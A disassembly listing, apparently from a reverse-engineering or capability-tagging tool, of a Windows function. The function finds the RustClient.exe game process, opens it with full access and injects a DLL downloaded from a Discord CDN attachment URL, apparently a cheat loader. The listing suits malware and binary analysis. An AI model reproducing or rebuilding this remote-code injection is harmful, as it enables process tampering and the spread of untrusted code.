Function at 0x140005280
Capabilities:
Enumerate processes
Execute command

Disassembly:
push rdi
sub rsp, 0x180
mov rax, qword [0x1400bc080]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400052f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateTooHelp32Snapshot_failed:_0x_X_n
call fcn.140001cc0
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140005449
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32First]
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x24], 0
je 0x140005362
lea rax, str.RustClient.exe
lea rcx, [rsp + 0x6c]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140005339
inc rax
test dl, dl
jne 0x140005326
xor eax, eax
jmp 0x14000533e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000534c
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
jmp 0x140005362
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [rsp + 0x24], eax
jmp 0x140005310
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
jne 0x1400053b0
lea rdx, str.No_process_found_with_that_name
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140013b30
mov qword [rsp + 0x38], rax
lea rdx, [0x140014000]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140005449
mov r8d, dword [rsp + 0x20]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400053f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Open_Process_failed:_0x_X_n
call fcn.140001cc0
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140005449
lea rdx, str.https:__cdn.discordapp.com_attachments_1168838084536840202_1170011525373763716_dast.tt.dll_ex65577d25is65450825hm36e67c8332f398ba91cd86fcbd5f9c263eaa811f6fdd0d6a44d3996ef26d1b6c
mov rcx, qword [rsp + 0x30]
call fcn.140004920
movzx eax, al
test eax, eax
jne 0x140005432
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Unable_to_inject_:__sorry_gamer_your_bad.
call fcn.140001cc0
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140005449
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Mapped_Succ.__n
call fcn.140001cc0
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140099350
add rsp, 0x180
pop rdi
ret